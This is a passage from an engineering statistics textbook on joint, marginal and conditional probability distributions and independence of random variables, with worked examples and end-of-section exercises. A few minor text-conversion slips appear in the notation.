
$$P(Y > 2000) = 6 \times 10^{-3} \int_{2000}^{\infty} e^{-0.002y} (1 - e^{-0.001y})\, dy$$

$$= 6 \times 10^{-3} \left[\left(\frac{e^{-0.002y}}{-0.002} \bigg|_{2000}^{\infty} \right) - \left(\frac{e^{-0.003y}}{-0.003} \bigg|_{2000}^{\infty} \right) \right]$$

$$= 6 \times 10^{-3} \left[\frac{e^{-4}}{0.002} - \frac{e^{-6}}{0.003} \right] = 0.05$$

Also, $E(X)$ and $V(X)$ can be obtained by first calculating the marginal probability distribution of X and then determining $E(X)$ and $V(X)$ by the usual method. In Fig. 5-6, the marginal probability distribution of X is used to obtain the mean as

$$E(X) = 1(0.2) + 2(0.25) + 3(0.55) = 2.35$$

5-1.3 Conditional Probability Distributions

When two random variables are defined in a random experiment, knowledge of one can change the probabilities that we associate with the values of the other. Recall that in Example 5-1, X denotes the number of bars of service and Y denotes the number of times you need to state

the name of the departure city. One expects the probability $Y = 1$ to be greater at $X = 3$ bars than at $X = 1$ bar. From the notation for conditional probability in Chapter 2, we can write such conditional probabilities as $P(Y = 1|X = 3)$ and $P(Y = 1|X = 1)$. Consequently, the random variables X and Y are expected to be dependent. Knowledge of the value obtained for X changes the probabilities associated with the values of Y.

Recall that the definition of conditional probability for events A and B is $P(B|A) = P(A \cap B)/P(A)$. This definition can be applied with the event A defined to be $X = x$ and event B defined to be $Y = y$.

EXAMPLE 5-5 Signal Bars

For Example 5-1, X and Y denote the number of bars of signal strength and times you need to state your departure city received, respectively. Then,

$$P(Y = 1|X = 3) = P(X = 3, Y = 1)/P(X = 3) = f_{XY}(3, 1)/f_X(3) = 0.25/0.55 = 0.454$$

The probability that $Y = 2$ given that $X = 3$ is

$$P(Y = 2|X = 3) = P(X = 3, Y = 2)/P(X = 3) = f_{XY}(3, 2)/f_X(3) = 0.2/0.55 = 0.364$$

Additional Conclusion: Further work shows that $P(Y = 3|X = 3) = 0.091$ and $P(Y = 4|X = 3) = 0.091$. Note that $P(Y = 1|X = 3) + P(Y = 2|X = 3) + P(Y = 3|X = 3) + P(Y = 4|X = 3) = 1$. This set of probabilities defines the conditional probability distribution of Y given that $X = 3$.

Example 5-5 illustrates that the conditional probabilities for Y given that $X = x$ can be thought of as a new probability distribution. The following definition applies these concepts to continuous random variables.

Conditional Probability Density Function

Given continuous random variables X and Y with joint probability density function $f_{XY}(x, y)$, the **conditional probability density function** of Y given $X = x$ is

$$f_{Y|x}(y) = \frac{f_{XY}(x, y)}{f_X(x)} \quad \text{for} \quad f_X(x) > 0 \tag{5-4}$$

The conditional probability density function provides the conditional probabilities for the values of Y given that $X = x$.

Because the conditional probability density function $f_{Y|x}(y)$ is a probability density function for all y in R_x, the following properties are satisfied:

(1) $f_{Y|x}(y) \geq 0$

(2) $\int f_{Y|x}(y)\,dy = 1$

(3) $P(Y \in B|X = x) = \int_B f_{Y|x}(y)\,dy$ for any set B in the range of Y

(5-5)

Figure 5-8 The conditional probability density function for Y, given that $x = 1500$, is nonzero over the solid line.

It is important to state the region in which a joint, marginal, or conditional probability density function is not zero. The following example illustrates this.

EXAMPLE 5-6 Conditional Probability

For the random variables that denote times in Example 5-2, determine the conditional probability density function for Y given that $X = x$.

First the marginal density function of x is determined. For $x > 0$,

$$f_X(x) = \int_x^\infty 6 \times 10^{-6} e^{-0.001x - 0.002y}\, dy$$

$$= 6 \times 10^{-6} e^{-0.001x} \left(\frac{e^{-0.002y}}{-0.002} \bigg|_x^\infty \right)$$

$$= 6 \times 10^{-6} e^{-0.001x} \left(\frac{e^{-0.002x}}{0.002} \right)$$

$$= 0.003 e^{-0.003x} \qquad \text{for} \qquad x > 0$$

This is an exponential distribution with $\lambda = 0.003$. Now, for $0 < x$ and $x < y$ the conditional probability density function is

$$f_{Y|x}(y) = f_{XY}(x, y)/f_X(x) = \frac{6 \times 10^{-6} e^{-0.001x - 0.002y}}{0.003 e^{-0.003x}}$$

$$= 0.002 e^{0.002x - 0.002y} \quad \text{for } 0 < x \text{ and } x < y$$

The conditional probability density function of Y, given that $X = 1500$, is nonzero on the solid line in Fig. 5-8.

Determine the probability that Y exceeds 2000, given that $x = 1500$. That is, determine $P(Y > 2000 \mid X = 1500)$. The conditional probability density function is integrated as follows:

$$P(Y > 2000 | X = 1500) = \int_{2000}^\infty f_{Y|1500}(y)\, dy$$

$$= \int_{2000}^\infty 0.002 e^{0.002(1500) - 0.002y}\, dy$$

$$= 0.002 e^3 \left(\frac{e^{-0.002y}}{-0.002} \bigg|_{2000}^\infty \right)$$

$$= 0.002 e^3 \left(\frac{e^{-4}}{0.002} \right) = 0.368$$

EXAMPLE 5-7

For the joint probability distribution in Fig. 5-1, $f_{Y|x}(y)$ is found by dividing each $f_{XY}(x, y)$ by $f_X(x)$. Here, $f_X(x)$ is simply the sum of the probabilities in each column of Fig. 5-1. The function $f_{Y|x}(y)$ is shown in Fig. 5-9. In Fig. 5-9, each column sums to one because it is a probability distribution.

Properties of random variables can be extended to a conditional probability distribution of Y given $X = x$. The usual formulas for mean and variance can be applied to a conditional probability density or mass function.

Figure 5-9 Conditional probability distributions of Y given $X = x$, $f_{Y|x}(y)$ in Example 5-7.

	x = number of bars of signal strength		
y = number of times city name is stated	1	2	3
4	0.750	0.400	0.091
3	0.100	0.400	0.091
2	0.100	0.120	0.364
1	0.050	0.080	0.454

Conditional Mean and Variance

The **conditional mean** of Y given $X = x$, denoted as $E(Y|x)$ or $\mu_{Y|x}$, is

$$E(Y|x) = \int_y y f_{Y|x}(y) \tag{5-6}$$

and the **conditional variance** of Y given $X = x$, denoted as $V(Y|x)$ or $\sigma^2_{Y|x}$, is

$$V(Y|x) = \int_y (y - \mu_{Y|x})^2 f_{Y|x}(y) = \int_y y^2 f_{Y|x}(y) - \mu^2_{Y|x}$$

EXAMPLE 5-8 Conditional Mean and Variance

For the random variables that denote times in Example 5-2, determine the conditional mean for Y given that $x = 1500$.

The conditional probability density function for Y was determined in Example 5-6. Because $f_{Y|1500}(y)$ is nonzero for $y > 1500$,

$$E(Y|X = 1500) = \int_{1500}^{\infty} y(0.002e^{0.002(1500) - 0.002y})\, dy$$

$$= 0.002e^3 \int_{1500}^{\infty} ye^{-0.002y}\, dy$$

Integrate by parts as follows:

$$\int_{1500}^{\infty} ye^{-0.002y}\, dy = y\frac{e^{-0.002y}}{-0.002}\bigg|_{1500}^{\infty} - \int_{1500}^{\infty}\left(\frac{e^{-0.002y}}{-0.002}\right) dy$$

$$= \frac{1500}{0.002}e^{-3} - \left(\frac{e^{-0.002y}}{(-0.002)(-0.002)}\bigg|_{1500}^{\infty}\right)$$

$$= \frac{1500}{0.002}e^{-3} + \frac{e^{-3}}{(0.002)(0.002)} = \frac{e^{-3}}{0.002}(2000)$$

With the constant $0.002e^3$ reapplied,

$$E(Y|X = 1500) = 2000$$

Practical Interpretation: If the connect time is 1500 ms then the expected time to be authorized is 2000 ms.

EXAMPLE 5-9

For the discrete random variables in Example 5-1, the conditional mean of Y given $X = 1$ is obtained from the conditional distribution in Fig. 5-9:

$$\begin{aligned} E(Y|1) &= \mu_{Y|1} \\ &= 1(0.05) + 2(0.1) + 3(0.1) + 4(0.75) \\ &= 3.55 \end{aligned}$$

The conditional mean is interpreted as the expected number of times the city name is stated given that one bar of signal is present. The conditional variance of Y given $X = 1$ is

$$\begin{aligned} V(Y|1) = {} & (1 - 3.55)^2\, 0.05 + (2 - 3.55)^2\, 0.1 \\ & + (3 - 3.55)^2\, 0.1 + (4 - 3.55)^2\, 0.75 = 0.748 \end{aligned}$$

5-1.4 Independence

In some random experiments, knowledge of the values of X does not change any of the probabilities associated with the values for Y.

EXAMPLE 5-10 Independent Random Variables

In a plastic molding operation, each part is classified as to whether it conforms to color and length specifications. Define the random variable X and Y as

$$X = \begin{cases} 1 & \text{if the part conforms to color specifications} \\ 0 & \text{otherwise} \end{cases}$$

$$Y = \begin{cases} 1 & \text{if the part conforms to length specifications} \\ 0 & \text{otherwise} \end{cases}$$

Assume the joint probability distribution of X and Y is defined by $f_{XY}(x, y)$ in Fig. 5-10(a). The marginal probability distributions of X and Y are also shown in Fig. 5-10(a). Note that $f_{XY}(x, y) = f_X(x)\, f_Y(y)$. The conditional probability mass function $f_{Y|x}(y)$ is shown in Fig. 5-10(b). Notice that for any x, $f_{Y|x}(y) = f_Y(y)$. That is, knowledge of whether or not the part meets color specifications does not change the probability that it meets length specifications.

Figure 5-10 (a) Joint and marginal probability distributions of X and Y in Example 5-10. (b) Conditional probability distribution of Y given $X = x$ in Example 5-10.

By analogy with independent events, we define two random variables to be **independent** whenever $f_{XY}(x, y) = f_X(x)\, f_Y(y)$ for all x and y. Notice that independence implies that $f_{XY}(x, y) = f_X(x)\, f_Y(y)$ for *all* x and y. If we find one pair of x and y in which the equality fails, X and Y are not independent. If two random variables are independent, then for $f_X(x) > 0$,

$$f_{Y|x}(y) = \frac{f_{XY}(x, y)}{f_X(x)} = \frac{f_X(x)\, f_Y(y)}{f_X(x)} = f_Y(y)$$

With similar calculations, the following equivalent statements can be shown.

Independence

For random variables X and Y, if any one of the following properties is true, the others are also true, and X and Y are **independent.**

(1) $f_{XY}(x, y) = f_X(x)\, f_Y(y)$ for all x and y

(2) $f_{Y|x}(y) = f_Y(y)$ for all x and y with $f_X(x) > 0$

(3) $f_{X|y}(x) = f_X(x)$ for all x and y with $f_Y(y) > 0$

(4) $P(X \in A, Y \in B) = P(X \in A)P(Y \in B)$ for any sets A and B in the range of X and Y, respectively. (5-7)

Rectangular Range for (X, Y)

If the set of points in two-dimensional space that receive positive probability under $f_{XY}(x, y)$ does not form a rectangle, X and Y are not independent because knowledge of X can restrict the range of values of Y that receive positive probability. If the set of points in two-dimensional space that receives positive probability under $f_{XY}(x, y)$ forms a rectangle, independence is possible but not demonstrated. One of the conditions in Equation 5-6 must still be verified.

The variables in Example 5-2 are not independent. This can be quickly determined because the range of (X, Y) shown in Fig. 5-4 is not rectangular. Consequently, knowledge of X changes the interval of values for Y with non-zero probability.

EXAMPLE 5-11 Independent Random Variables

Suppose that Example 5-2 is modified so that the joint probability density function of X and Y is $f_{XY}(x, y) = 2 \times 10^{-6} exp(-0.001x - 0.002y)$ for $x \geq 0$ and $y \geq 0$. Show that X and Y are independent and determine $P(X > 1000, Y < 1000)$.

The marginal probability density function of X is

$$f_X(x) = \int_0^\infty 2 \times 10^{-6} e^{-0.001x - 0.002y}\, dy$$

$$= 0.001\, e^{-0.001x} \quad \text{for } x > 0$$

The marginal probability density function of Y is

$$f_Y(y) = \int_0^\infty 2 \times 10^{-6} e^{-0.001x - 0.002y}\, dx$$
$$= 0.002\, e^{-0.002y} \quad \text{for } y > 0$$

Therefore, $f_{XY}(x, y) = f_X(x)\, f_Y(y)$ for all x and y, and X and Y are independent.

To determine the probability requested, property (4) of Equation 5-7 and the fact that each random variable has an exponential distribution can be applied.

$$P(X > 1000, Y < 1000) = P(X > 1000)P(Y < 1000)$$
$$= e^{-1}(1 - e^{-2}) = 0.318$$

Often, based on knowledge of the system under study, random variables are assumed to be independent. Then, probabilities involving both variables can be determined from the marginal probability distributions. For example, the time to complete a computer search should be independent of an adult's height.

EXAMPLE 5-12 Machined Dimensions

Let the random variables X and Y denote the lengths of two dimensions of a machined part, respectively. Assume that X and Y are independent random variables, and further assume that the distribution of X is normal with mean 10.5 millimeters and variance 0.0025 (millimeter)^2 and that the distribution of Y is normal with mean 3.2 millimeters and variance 0.0036 (millimeter)^2. Determine the probability that $10.4 < X < 10.6$ and $3.15 < Y < 3.25$.

Because X and Y are independent,

$$P(10.4 < X < 10.6, 3.15 < Y < 3.25)$$
$$= P(10.4 < X < 10.6)P(3.15 < Y < 3.25)$$
$$= P\left(\frac{10.4 - 10.5}{0.05} < Z < \frac{10.6 - 10.5}{0.05}\right) \times P\left(\frac{3.15 - 3.2}{0.06} < Z < \frac{3.25 - 3.2}{0.06}\right)$$
$$= P(-2 < Z < 2)P(-0.833 < Z < 0.833) = 0.568$$

where Z denotes a standard normal random variable.

Practical Interpretation: If random variables are independent probabilities for multiple variables are often much easier to compute.

5-1.5 More Than Two Random Variables

More than two random variables can be defined in a random experiment.

EXAMPLE 5-13 Machined Dimensions

Many dimensions of a machined part are routinely measured during production. Let the random variables, X_1, X_2, X_3, and X_4 denote the lengths of four dimensions of a part. Then, at least four random variables are of interest in this study.

The joint probability distribution of random variables $X_1, X_2, X_3, \ldots, X_p$ can be specified by providing a method of calculating the probability that $X_1, X_2, X_3, \ldots, X_p$ assume a value in a region R of p-dimensional space. A joint probability density function $f_{X_1X_2\ldots X_p}(x_1, x_2, \ldots, x_p)$ is used to determine the probability that $(X_1, X_2, X_3, \ldots, X_p)$ assume a value in a region R by the multiple integral of $f_{X_1X_2\ldots X_p}(x_1, x_2, \ldots, x_p)$ over the region R.

Joint Probability Density Function

A **joint probability density function** for the continuous random variables $X_1, X_2, X_3, \ldots, X_p$, denoted as $f_{X_1X_2\ldots X_p}(x_1, x_2, \ldots, x_p)$, satisfies the following properties:

(1) $f_{X_1X_2\ldots X_p}(x_1, x_2, \ldots, x_p) \geq 0$

(2) $\displaystyle\int_{-\infty}^{\infty}\int_{-\infty}^{\infty} \cdots \int_{-\infty}^{\infty} f_{X_1X_2\ldots X_p}(x_1, x_2, \ldots, x_p)\, dx_1\, dx_2 \ldots dx_p = 1$

(3) For any region B of p-dimensional space,

$$P[(X_1, X_2, \ldots, X_p) \in B] = \int\int_B \cdots \int f_{X_1X_2\ldots X_p}(x_1, x_2, \ldots, x_p)\, dx_1\, dx_2 \ldots dx_p \tag{5-8}$$

Typically, $f_{X_1X_2\ldots X_p}(x_1, x_2, \ldots, x_p)$ is defined over all of p-dimensional space by assuming that $f_{X_1X_2\ldots X_p}(x_1, x_2, \ldots, x_p) = 0$ for all points for which $f_{X_1X_2\ldots X_p}(x_1, x_2, \ldots, x_p)$ is not specified.

EXAMPLE 5-14 Component Lifetimes

In an electronic assembly, let the random variables X_1, X_2, X_3, X_4 denote the lifetimes of four components in hours. Suppose that the joint probability density function of these variables is

$$f_{X_1X_2X_3X_4}(x_1, x_2, x_3, x_4) = 9 \times 10^{-12} e^{-0.001x_1 - 0.002x_2 - 0.0015x_3 - 0.003x_4}$$

$$\text{for } x_1 \geq 0, x_2 \geq 0, x_3 \geq 0, x_4 \geq 0$$

What is the probability that the device operates for more than 1000 hours without any failures? The requested probability is $P(X_1 > 1000, X_2 > 1000, X_3 > 1000, X_4 > 1000)$, which equals the multiple integral of $f_{X_1X_2X_3X_4}(x_1, x_2, x_3, x_4)$ over the region $x_1 > 1000, x_2 > 1000, x_3 > 1000, x_4 > 1000$. The joint probability density function can be written as a product of exponential functions, and each integral is the simple integral of an exponential function. Therefore,

$$P(X_1 > 1000, X_2 > 1000, X_3 > 1000, X_4 > 1000) = e^{-1-2-1.5-3} = 0.00055$$

Suppose that the joint probability density function of several continuous random variables is a constant, say, c over a region R (and zero elsewhere). In this special case,

$$\int_{-\infty}^{\infty}\int_{-\infty}^{\infty}\cdots\int_{-\infty}^{\infty} f_{X_1X_2\ldots X_p}(x_1, x_2, \ldots, x_p)\, dx_1\, dx_2 \ldots dx_p = c \times (\text{volume of region } R) = 1$$

by property (2) of Equation 5-8. Therefore, (R). Furthermore, by property (3) of Equation 5-8, $P[(X_1, X_2, \ldots, X_p) \in B]$

$$= \int\int_B \cdots \int f_{X_1X_2\ldots X_p}(x_1, x_2, \ldots, x_p)\, dx_1\, dx_2 \ldots dx_p = c \times \text{volume}\,(B \cap R)$$

$$= \frac{\text{volume}\,(B \cap R)}{\text{volume}\,(R)}$$

When the joint probability density function is constant, the probability that the random variables assume a value in the region B is just the ratio of the volume of the region $B \cap R$ to the volume of the region R for which the probability is positive.

EXAMPLE 5-15 Probability as a Ratio of Volumes

Suppose the joint probability density function of the continuous random variables X and Y is constant over the region $x^2 + y^2 \leq 4$. Determine the probability that $X^2 + Y^2 \leq 1$.

The region that receives positive probability is a circle of radius 2. Therefore, the area of this region is 4π. The area of the region $x^2 + y^2 \leq 1$ is π. Consequently, the requested probability is $\pi/(4\pi) = 1/4$.

Marginal Probability Density Function

If the joint probability density function of continuous random variables $X_1, X_2, \ldots, X_p$ is $f_{X_1X_2\ldots X_p}(x_1, x_2, \ldots, x_p)$, the **marginal probability density function** of X_i is

$$f_{X_i}(x_i) = \int\int \cdots \int f_{X_1X_2\ldots X_p}(x_1, x_2, \ldots, x_p)\, dx_1\, dx_2 \ldots dx_{i-1}\, dx_{i+1} \ldots dx_p \qquad (5\text{-}9)$$

where the integral is over all points in the range of $X_1, X_2, \ldots, X_p$ for which $X_i = x_i$.

As for two random variables, a probability involving only one random variable, say, for example, $P(a < X_i < b)$, can be determined from the marginal probability distribution of X_i or from the joint probability distribution of $X_1, X_2, \ldots, X_p$. That is,

$$P(a < X_i < b) = P(-\infty < X_1 < \infty, \ldots, -\infty < X_{i-1} < \infty, a < X_i < b, \\ -\infty < X_{i+1} < \infty, \ldots, -\infty < X_p < \infty)$$

Furthermore, $E(X_i)$ and $V(X_i)$, for $i = 1, 2, \ldots, p$, can be determined from the marginal probability distribution of X_i or from the joint probability distribution of $X_1, X_2, \ldots, X_p$ as follows.

Mean and Variance from Joint Distribution

$$E(X_i) = \int_{-\infty}^{\infty}\int_{-\infty}^{\infty}\cdots\int_{-\infty}^{\infty} x_i f_{X_1X_2\ldots X_p}(x_1, x_2, \ldots, x_p)\, dx_1\, dx_2 \ldots dx_p$$

and (5-10)

$$V(X_i) = \int_{-\infty}^{\infty}\int_{-\infty}^{\infty}\cdots\int_{-\infty}^{\infty} (x_i - \mu_{X_i})^2 f_{X_1X_2\ldots X_p}(x_1, x_2, \ldots, x_p)\, dx_1\, dx_2 \ldots dx_p$$

EXAMPLE 5-16

Points that have positive probability in the joint probability distribution of three random variables X_1, X_2, X_3 are shown in Fig. 5-11. The range is the nonnegative integers with $x_1 + x_2 + x_3 = 3$. The marginal probability distribution of X_2 is found as follows.

$$P(X_2 = 0) = f_{X_1X_2X_3}(3, 0, 0) + f_{X_1X_2X_3}(0, 0, 3) + f_{X_1X_2X_3}(1, 0, 2) + f_{X_1X_2X_3}(2, 0, 1)$$

$$P(X_2 = 1) = f_{X_1X_2X_3}(2, 1, 0) + f_{X_1X_2X_3}(0, 1, 2) + f_{X_1X_2X_3}(1, 1, 1)$$

$$P(X_2 = 2) = f_{X_1X_2X_3}(1, 2, 0) + f_{X_1X_2X_3}(0, 2, 1)$$

$$P(X_2 = 3) = f_{X_1X_2X_3}(0, 3, 0)$$

With several random variables, we might be interested in the probability distribution of some subset of the collection of variables. The probability distribution of $X_1, X_2, \ldots, X_k$, $k < p$ can be obtained from the joint probability distribution of $X_1, X_2, \ldots, X_p$ as follows.

Distribution of a Subset of Random Variables

If the joint probability density function of continuous random variables $X_1, X_2, \ldots, X_p$ is $f_{X_1X_2\ldots X_p}(x_1, x_2, \ldots, x_p)$, the **probability density function** of $X_1, X_2, \ldots, X_k$, $k < p$, is

$$f_{X_1X_2\ldots X_k}(x_1, x_2, \ldots, x_k) = \int\int\cdots\int f_{X_1X_2\ldots X_p}(x_1, x_2, \ldots, x_p)\, dx_{k+1}\, dx_{k+2} \ldots dx_p \qquad (5\text{-}11)$$

where the integral is over all points in the range of $X_1, X_2, \ldots, X_p$ for which $X_1 = x_1, X_2 = x_2, \ldots, X_k = x_k$.

Figure 5-11 Joint probability distribution of X_1, X_2, and X_3.

Conditional Probability Distribution

Conditional probability distributions can be developed for multiple random variables by an extension of the ideas used for two random variables.

$$f_{X_1X_2X_3|x_4x_5}(x_1, x_2, x_3) = \frac{f_{X_1X_2X_3X_4X_5}(x_1, x_2, x_3, x_4, x_5)}{f_{X_4X_5}(x_4, x_5)}$$

for $f_{X_4X_5}(x_4, x_5) > 0$.

The concept of independence can be extended to multiple random variables.

Independence

Random variables $X_1, X_2, \ldots, X_p$ are **independent** if and only if

$$f_{X_1X_2\ldots X_p}(x_1, x_2 \ldots, x_p) = f_{X_1}(x_1)f_{X_2}(x_2)\ldots f_{X_p}(x_p) \quad \text{for } all\ x_1, x_2, \ldots, x_p \qquad (5\text{-}12)$$

Similar to the result for only two random variables, independence implies that Equation 5-12 holds for *all* $x_1, x_2, \ldots, x_p$. If we find one point for which the equality fails, $X_1, X_2, \ldots, X_p$ are not independent. It is left as an exercise to show that if $X_1, X_2, \ldots, X_p$ are independent,

$$P(X_1 \in A_1, X_2 \in A_2, \ldots, X_p \in A_p) = P(X_1 \in A_1)P(X_2 \in A_2)\ldots P(X_p \in A_p)$$

for *any* regions $A_1, A_2, \ldots, A_p$ in the range of $X_1, X_2, \ldots, X_p$, respectively.

EXAMPLE 5-17

In Chapter 3, we showed that a negative binomial random variable with parameters p and r can be represented as a sum of r geometric random variables $X_1, X_2, \ldots, X_r$. Each geometric random variable represents the additional trials required to obtain the next success. Because the trials in a binomial experiment are independent, $X_1, X_2, \ldots, X_r$ are independent random variables.

EXAMPLE 5-18 Layer Thickness

Suppose X_1, X_2, and X_3 represent the thickness in micrometers of a substrate, an active layer, and a coating layer of a chemical product. Assume that X_1, X_2, and X_3 are independent and normally distributed with $\mu_1 = 10000$, $\mu_2 = 1000$, $\mu_3 = 80$, $\sigma_1 = 250$, $\sigma_2 = 20$, and $\sigma_3 = 4$, respectively. The specifications for the thickness of the substrate, active layer, and coating layer are $9200 < x_1 < 10{,}800$, $950 < x_2 < 1050$, and $75 < x_3 < 85$, respectively. What proportion of chemical products meets all thickness specifications? Which one of the three thicknesses has the least probability of meeting specifications?

The requested probability is $P(9200 < X_1 < 10{,}800, 950 < X_2 < 1050, 75 < X_3 < 85)$. Because the random variables are independent,

$$\begin{aligned} &P(9200 < X_1 < 10{,}800, 950 < X_2 < 1050, 75 < X_3 < 85) \\ &\quad = P(9200 < X_1 < 10{,}800)P(950 < X_2 \\ &\qquad < 1050)P(75 < X_3 < 85) \end{aligned}$$

After standardizing, the above equals

$$P(-3.2 < Z < 3.2)P(-2.5 < Z < 2.5)P(-1.25 < Z < 1.25)$$

where Z is a standard normal random variable. From the table of the standard normal distribution, the above equals

$$(0.99862)(0.98758)(0.78870) = 0.7778$$

The thickness of the coating layer has the least probability of meeting specifications. Consequently, a priority should be to reduce variability in this part of the process.

EXERCISES FOR SECTION 5-1

5-1. Show that the following function satisfies the properties of a joint probability mass function.

x	y	$f_{XY}(x, y)$
1	1	1/4
1.5	2	1/8
1.5	3	1/4
2.5	4	1/4
3	5	1/8

Determine the following:
(a) $P(X < 2.5, Y < 3)$
(b) $P(X < 2.5)$
(c) $P(Y < 3)$
(d) $P(X > 1.8, Y > 4.7)$
(e) $E(X)$, $E(Y)$, $V(X)$, and $V(Y)$.
(f) Marginal probability distribution of the random variable X
(g) Conditional probability distribution of Y given that $X = 1.5$
(h) Conditional probability distribution of X given that $Y = 2$
(i) $E(Y|X = 1.5)$
(j) Are X and Y independent?

5-2. Determine the value of c that makes the function $f(x, y) = c(x + y)$ a joint probability mass function over the nine points with $x = 1, 2, 3$ and $y = 1, 2, 3$.

Determine the following:
(a) $P(X = 1, Y < 4)$ (b) $P(X = 1)$
(c) $P(Y = 2)$ (d) $P(X < 2, Y < 2)$
(e) $E(X)$, $E(Y)$, $V(X)$, and $V(Y)$
(f) Marginal probability distribution of the random variable X
(g) Conditional probability distribution of Y given that $X = 1$
(h) Conditional probability distribution of X given that $Y = 2$
(i) $E(Y|X = 1)$
(j) Are X and Y independent?

5-3. Show that the following function satisfies the properties of a joint probability mass function.

x	y	$f_{XY}(x, y)$
−1	−2	1/8
−0.5	−1	1/4
0.5	1	1/2
1	2	1/8

Determine the following:
(a) $P(X < 0.5, Y < 1.5)$
(b) $P(X < 0.5)$
(c) $P(Y < 1.5)$
(d) $P(X > 0.25, Y < 4.5)$
(e) $E(X)$, $E(Y)$, $V(X)$, and $V(Y)$
(f) Marginal probability distribution of the random variable X
(g) Conditional probability distribution of Y given that $X = 1$
(h) Conditional probability distribution of X given that $Y = 1$
(i) $E(X|y = 1)$
(j) Are X and Y independent?

5-4. Four electronic printers are selected from a large lot of damaged printers. Each printer is inspected and classified as containing either a major or a minor defect. Let the random variables X and Y denote the number of printers with major and minor defects, respectively. Determine the range of the joint probability distribution of X and Y.

5-5. In the transmission of digital information, the probability that a bit has high, moderate, and low distortion is 0.01, 0.04, and 0.95, respectively. Suppose that three bits are transmitted and that the amount of distortion of each bit is assumed to be independent. Let X and Y denote the number of bits with high and moderate distortion out of the three, respectively. Determine:
(a) $f_{XY}(x, y)$ (b) $f_X(x)$
(c) $E(X)$ (d) $f_{Y|1}(y)$
(e) $E(Y|X = 1)$ (f) Are X and Y independent?

5-6. A small-business Web site contains 100 pages and 60%, 30%, and 10% of the pages contain low, moderate, and high graphic content, respectively. A sample of four pages is selected without replacement, and X and Y denote the number of pages with moderate and high graphics output in the sample. Determine:
(a) $f_{XY}(x, y)$ (b) $f_X(x)$
(c) $E(X)$ (d) $f_{Y|3}(y)$
(e) $E(Y|X = 3)$ (f) $V(Y|X = 3)$
(g) Are X and Y independent?

5-7. A manufacturing company employs two devices to inspect output for quality control purposes. The first device is able to accurately detect 99.3% of the defective items it receives, whereas the second is able to do so in 99.7% of the cases. Assume that four defective items are produced and sent out for inspection. Let X and Y denote the number of items that will be identified as defective by inspecting

devices 1 and 2, respectively. Assume the devices are independent. Determine:

(a) $f_{XY}(x, y)$ (b) $f_X(x)$
(c) $E(X)$ (d) $f_{Y|2}(y)$
(e) $E(Y|X = 2)$ (f) $V(Y|X = 2)$
(g) Are X and Y independent?

5-8. Suppose the random variables X, Y, and Z have the following joint probability distribution.

x	y	z	$f(x, y, z)$
1	1	1	0.05
1	1	2	0.10
1	2	1	0.15
1	2	2	0.20
2	1	1	0.20
2	1	2	0.15
2	2	1	0.10
2	2	2	0.05

Determine the following:

(a) $P(X = 2)$ (b) $P(X = 1, Y = 2)$
(c) $P(Z < 1.5)$ (d) $P(X = 1 \text{ or } Z = 2)$
(e) $E(X)$ (f) $P(X = 1|Y = 1)$
(g) $P(X = 1, Y = 1|Z = 2)$ (h) $P(X = 1|Y = 1, Z = 2)$
(i) Conditional probability distribution of X given that $Y = 1$ and $Z = 2$

5-9. An engineering statistics class has 40 students and 60% are electrical engineering majors, 10% are industrial engineering majors, and 30% are mechanical engineering majors. A sample of four students is selected randomly, without replacement, for a project team. Let X and Y denote the number of industrial engineering and mechanical engineering majors, respectively. Determine the following:

(a) $f_{XY}(x, y)$ (b) $f_X(x)$
(c) $E(X)$ (d) $f_{Y|3}(y)$
(e) $E(Y|X = 3)$ (f) $V(Y|X = 3)$
(g) Are X and Y independent?

5-10. An article in the *Journal of Database Management* [“Experimental Study of a Self-Tuning Algorithm for DBMS Buffer Pools” (2005, Vol. 16, pp. 1–20)] provided the workload used in the TPC-C OLTP (Transaction Processing Performance Council’s Version C On-Line Transaction Processing) benchmark, which simulates a typical order entry application. See the table below. The frequency of each type of transaction (in the second column) can be used as the percentage of each type of transaction. Let X and Y denote the average number of *selects* and *updates* operations, respectively, required for each type transaction. Determine the following:

(a) $P(X < 5)$
(b) $E(X)$
(c) Conditional probability mass function of X given $Y = 0$
(d) $P(X < 6|Y = 0)$
(e) $E(X|Y = 0)$

5-11. For the Transaction Processing Performance Council’s benchmark in Exercise 5-10, let X, Y, and Z denote the average number of *selects*, *updates*, and *inserts* operations required for each type of transaction, respectively. Calculate the following:

(a) $f_{XYZ}(x, y, z)$
(b) Conditional probability mass function for X and Y given $Z = 0$
(c) $P(X < 6, Y < 6|Z = 0)$
(d) $E(X|Y = 0, Z = 0)$

5-12. In the transmission of digital information, the probability that a bit has high, moderate, or low distortion is 0.01, 0.04, and 0.95, respectively. Suppose that three bits are transmitted and that the amount of distortion of each bit is assumed to be independent. Let X and Y denote the number of bits with high and moderate distortion out of the three transmitted, respectively. Determine the following:

(a) The probability that two bits have high distortion and one has moderate distortion
(b) The probability that all three bits have low distortion
(c) The probability distribution, mean, and variance of X
(d) The conditional probability distribution, conditional mean, and conditional variance of X given that $Y = 2$

Average Frequencies and Operations in TPC-C

Transaction	Frequency	Selects	Updates	Inserts	Deletes	Non-Unique Selects	Joins
New Order	43	23	11	12	0	0	0
Payment	44	4.2	3	1	0	0.6	0
Order Status	4	11.4	0	0	0	0.6	0
Delivery	5	130	120	0	10	0	0
Stock Level	4	0	0	0	0	0	1

5-13. Determine the value of c such that the function $f(x, y) = cxy$ for $0 < x < 3$ and $0 < y < 3$ satisfies the properties of a joint probability density function.

Determine the following:

(a) $P(X < 2, Y < 3)$ (b) $P(X < 2.5)$
(c) $P(1 < Y < 2.5)$ (d) $P(X > 1.8, 1 < Y < 2.5)$
(e) $E(X)$ (f) $P(X < 0, Y < 4)$
(g) Marginal probability distribution of the random variable X
(h) Conditional probability distribution of Y given that $X = 1.5$
(i) $E(Y|X) = 1.5)$ (j) $P(Y < 2|X = 1.5)$
(k) Conditional probability distribution of X given that Y 5 2

5-14. Determine the value of c that makes the function $f(x, y) = c(x + y)$ a joint probability density function over the range $0 < x < 3$ and $x < y < x + 2$.

Determine the following:

(a) $P(X < 1, Y < 2)$ (b) $P(1 < X < 2)$
(c) $P(Y > 1)$ (d) $P(X < 2, Y < 2)$
(e) $E(X)$ (f) $V(X)$
(g) Marginal probability distribution of X
(h) Conditional probability distribution of Y given that $X = 1$
(i) $E(Y|X = 1)$
(j) $P(Y > 2|X = 1)$
(k) Conditional probability distribution of X given that Y 5 2

5-15. Determine the value of c that makes the function $f(x, y) = cxy$ a joint probability density function over the range $0 < x < 3$ and $0 < y < x$.

Determine the following:

(a) $P(X < 1, Y < 2)$ (b) $P(1 < X < 2)$
(c) $P(Y > 1)$ (d) $P(X < 2, Y < 2)$
(e) $E(X)$ (f) $E(Y)$
